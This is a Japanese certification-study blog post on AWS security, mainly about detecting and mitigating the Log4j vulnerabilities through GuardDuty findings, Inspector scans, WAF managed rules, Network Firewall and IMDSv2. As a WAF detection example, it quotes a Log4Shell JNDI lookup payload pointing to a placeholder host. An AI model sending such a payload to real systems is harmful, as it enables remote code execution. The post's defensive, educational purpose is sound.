AWS公式資料で挑むSCS認定(38)-こんな時どうする(全分野その15)

[前回] AWS公式資料で挑むSCS認定(37)-こんな時どうする(全分野その14)

はじめに

今回も引き続き、「こんな時どうする」集の作成です。

分野1: インシデント対応

• Log4jの脆弱性(CVE-2021-44228、CVE-2021-45046)による攻撃を受けていないか確認したい
  • Amazon Inspectorを使用し、EC2インスタンスとAmazon ECR(Amazon Elastic Container Registry)イメージに脆弱性が存在しないか特定
    • スキャンは自動化され継続的に実行される、新しい「ソフトウェアパッケージ/インスタンス/CVE(共通脆弱性識別子)公開」などのイベントによって開始される
      • AWS Systems Managerによって管理される全てのサポート対象インスタンスにおいて、OSパッケージマネージャーによりインストールされたLog4jや、Maven互換のAmazon ECRコンテナイメージに存在するパッケージに対し、脆弱性スキャンが自動的に行われる、手動作業必要なしに検出結果が表示される
  • Amazon GuardDutyを使用し、既知の不正IPアドレス/不正DNSエントリへの通信を監視し、脆弱性を突いた攻撃を「振る舞いによる異常検知」を用いて検出
    • Amazon GuardDutyに、Log4jの脆弱性の悪用に関連するIoC(侵害指標)が追加されている
      • EC2インスタンスが通常使用しないポートで通信を開始した場合、Behavior:EC2/NetworkPortUnusual結果を生成
    • 問題の特定と優先順位付けを支援するために、脅威ラベルが追加された検出タイプ
      • Backdoor:EC2/C&CActivity.B
        • 照会されたIPがLog4j関連の場合、関連する結果のフィールドに次の値が含まれる
          • service.additionalInfo.threatListName = Amazon
          • service.additionalInfo.threatName = Log4j Related
      • Backdoor:EC2/C&CActivity.B!DNS
        • 照会されたドメイン名がLog4j関連の場合、関連する結果のフィールドに次の値が含まれる
          • service.additionalInfo.threatListName = Amazon
          • service.additionalInfo.threatName = Log4j Related
      • Behavior:EC2/NetworkPortUnusual
        • EC2インスタンスがポート389またはポート1389で通信した場合、関連する検出結果の重要度は「高」に変更され、結果フィールドに次の値が含まれる
          • service.additionalInfo.context = Possible Log4j callback
  • AWS Security Hubを使用し、InspectorとGuardDutyのアラートを集約することで、自動修復と対応を可能に
    • 短期的には、Security Hubを使用し、「AWS Chatbot、Amazon SNS、チケット発行システム」を通じてアラートを設定し
      • Inspectorが脆弱性を検出したときに可視化できるようにする
    • 長期的には、Security Hubを使用し、必要に応じてセキュリティアラートの自動修復と対応を有効にする
  • VPC Flow Logsを使用し、Log4jの脆弱性を悪用したアウトバウンドネットワークアクティビティに関連付けられたVPCリソースを特定
    • VPC Flow Logsに基づき、AthenaまたはCloudWatch Logs Insightsクエリを使用し、侵害されたVPCリソースを特定
      • VPC Flow Logs Version 5には、flow-directionフィールドが含まれている
      • 宛先ポート1389を使用したアウトバウンドネットワーク通信は、正規のアプリケーションでは使用されないため特に注意
      • 信頼できないIPアドレスに対し、宛先ポート389を使用したネットワーク通信を調査
        • VirusTotal、GreyNoise、NOC.org、ipinfo.io など無料IPレピュテーションサービスを使用し、ログに記録されたパブリックIPアドレス情報を確認

分野2: ログとモニタリング(監視)

• AWS Systems Managerのオートメーションが正常に機能しているか監視したい
  • Amazon EventBridgeを使用し、オートメーション関連イベントを監視
  • ※ AWS Systems Managerのオートメーション機能は、AWSサービスの大規模リソースのメンテナンス、デプロイ、修復タスクを自動化
    • 自動化の同時実行性をきめ細かく制御でき、同時実行のターゲットにするリソースの数、オートメーションを停止する前に許容可能なエラーの発生数を指定可能
  • ※ EventBridgeは、イベントルールのターゲットとして、次のSystems Manager機能をサポート
    • 自動化ワークフローを実行
    • Run Commandコマンドドキュメントを実行(イベントはベストエフォートベースで出力される)
    • OpsCenterのOpsItemを作成
  • イベントは、ベストエフォートベースで生成され、ルールで指定されているイベントタイプが検出されると、EventBridgeは指定したターゲットにルーティングして処理
    • ※ イベントとは、独自のアプリケーション、SaaS(Software-as-a-Service)アプリケーション、またはAWSサービスに対する変更を表す
    • Amazon EventBridgeは、CloudWatch Eventsと同じ基盤、EventBridgeがより多くのイベント管理機能を提供
  • ※ EventBridgeルールで検出できるSystems Managerのイベントタイプ
    • オートメーション
    • Change Calendar
    • 設定コンプライアンス
    • インベントリ
    • State Manager
    • メンテナンスウィンドウ
    • Parameter Store
    • Run Command

分野3: インフラストラクチャのセキュリティ

• Log4jの脆弱性(CVE-2021-44228、CVE-2021-45046)による攻撃緩和のため、Log4j 2.0以降を使用するJVMにホットパッチを適用したい

  • AWS Systems Manager Patch Managerを使用し、重要なパッチがパッチベースラインにすぐ導入できるように設定
    • さらに、アプリケーションコード内でライブラリが使用されている箇所のクラスパスを更新し、最新バージョンを使用
  • IMDSv2(Instance Metadata Serviceバージョン2)を使用し、IMDSデータを非公開にする
    • IMDSv1(デフォルトで有効)を無効にし、IMDSv2を必須にすることで、IMDSからの認証情報やその他データの窃取を防ぐ
    • アクセスキーを長期間使用するのではなくIAMロールを使用する
      • 認証情報など機密情報を環境変数に保存しない
    • データベース認証情報をホストの環境変数に長期間保存せず、AWS Secrets Managerに保存し、自動的ローテーションを実施
  • コンテナへのホットパッチ適用
    • Apache Log4j2ノードエージェントが提供するRPMを使って、EKSクラスターワーカーノードにホットパッチをインストール
      • RPMに、Log4j2ライブラリからのJNDIルックアップを無効にしたJVMレベルのホットパッチが含まれる
    • ECRコンテナイメージがある場合、Log4j バージョン2.16.0を使用するよう更新
      • 脆弱なECRコンテナイメージで構築されたコンテナについて、新しいイメージを使用するように更新
      • Amazon ECS(Amazon Elastic Container Service)を使用する場合、新しいデプロイを強制実行し、新しいLog4jバージョンのイメージをプルダウン
  • アップグレードできない場合の緩和戦略
    • JDNIへのアクセスを無効にするバージョン2.16.0にアップグレードできない場合、Log4jの設定を変更
      • 2.10以降のリリースでは、クラスパスからJndiLookupクラスを削除する
        • zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

• 組織のAWSアカウント全体で、同じAZ(アベイラビリティーゾーン)に対しリソース配分を調整したい

  • AZ名はアカウント依存、アカウントによりAZ名が異なる可能性ある
  • AZ IDはアカウント非依存、AZ IDを用いてアカウント間でAZをマッピングできる
  • 設定方法
    • AWS Resource Access Managerコンソールで、Region Selectorからリージョンを選択
    • [Your AZ ID]ペインで、AZ名とAZ IDのマッピングリストを確認
    • ※ AWS CLIでAZ IDを確認することも可能
      • aws ec2 describe-availability-zones --region リージョン名
    • アカウント全体でどのAZ名が該当AZ IDを持っているか特定
      • 同じAZ IDを持つAZは、同じ物理場所にマッピングされる

分野4: アイデンティティ(ID)及びアクセス管理

• AWS SDK for .NETを使ったアプリケーションで、AWSリソースへアクセスでどの認証情報が使用されるか特定したい
  • 認証情報の検索順序
    • AWSサービスクライアントで明示的に設定した認証情報
    • AWSConfigs.AWSProfileNameで指定された認証情報プロファイル
    • [default]認証情報プロファイル
    • 環境変数「AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKEN」により設定されたSessionAWSCredentials(すべて空でない場合)
    • 環境変数「AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY」により設定されたBasicaWSCredentials(両方とも空でない場合)
    • Amazon ECSタスクに割り当てられたIAMロール
    • EC2インスタンスメタデータ
      • 本番環境では、IAMロールを使用しアプリケーションにアクセス権限を付与
      • それ他テスト環境などでは、認証情報をAWSクレデンシャルファイル形式ファイルに保存し、アプリケーションからアクセス

分野5: データ保護

• Log4jの脆弱性(CVE-2021-44228、CVE-2021-45046)によるリスク/露出を抑え、データ保護したい
  • AWS WAFを使用し、AWSサービスのリソースを保護
    • 保護対象のAWSサービス
      • Amazon CloudFrontディストリビューション
      • Amazon API Gateway REST API
      • Application Load Balancer
      • AWS AppSync GraphQL API
    • 設定方法
      • AWSManagedRulesknownBadInputsRuleSet
        • Log4JRCEルールを使用し、リクエストのLog4j脆弱性を検査。パターン例: ${jndi:ldap://example.com/}
      • AWSManagedRulesAnonymousIpList
        • AnonymouousIPListルールを使用し、クライアント情報が匿名化されたリクエストのアクセス元IPアドレスを検査
      • AWSManagedRulesCommonRuleSet
        • SizeRestrictions_BODYルールを使用し、リクエスト本文のサイズが最大8KB(8,192バイト)であることを確認
  • Amazon Route 53 Resolver DNS Firewallを使用し、アウトバウンドのパブリックDNS名前解決時にリソースを保護
    • AWSManagedDomainsMalwareDomainListを使用し、Log4j脆弱性関連のマルウェアをホストしていると特定されたドメインをブロック
    • DNSクエリロギングを有効にし、アクティブなLog4jスキャンに応答しているVPC内の脆弱なEC2インスタンスを特定/監査
  • AWS Network Firewallを使用し、ネットワークベースの検知と保護を展開
    • オープンソースのSuricataルールと互換性のあるIDS/IPSルールを使用し、Log4j脆弱性を悪性したスキャンや侵入を特定
      • VPCから信頼できない宛先に対するLDAPのアウトバウンドトラフィックのトラフィックに注目すべき
        • ポート53、80、123、443など非標準のLDAPポートを使用しているインスタンスを監視/防御するため、アウトバウンドのポート/プロトコルを強制するルールを実装
        • ポート1389のアウトバウンド通信を監視/防御し、C&C(コマンドアンドコントロール)サーバへ通信を行うシステムを識別する
  • IMDSv2(Instance Metadata Serviceバージョン2)を使用し、IMDSデータを非公開にする
    • IMDSv1(デフォルトで有効)を無効にし、IMDSv2を必須にすることで、IMDSからの認証情報やその他データの窃取を防ぐ
    • アクセスキーを長期間使用せずIAMロールを使用する
      • 認証情報など機密情報を環境変数に保存しない
    • データベース認証情報をホストの環境変数に長期間保存せず、AWS Secrets Managerに保存し、自動的にローテーションを実施

おわりに

今回は、Log4j脆弱性のトピックがメインでした。
次回も続きます、お楽しみに。

[次回] AWS公式資料で挑むSCS認定(39)-こんな時どうする(全分野その16)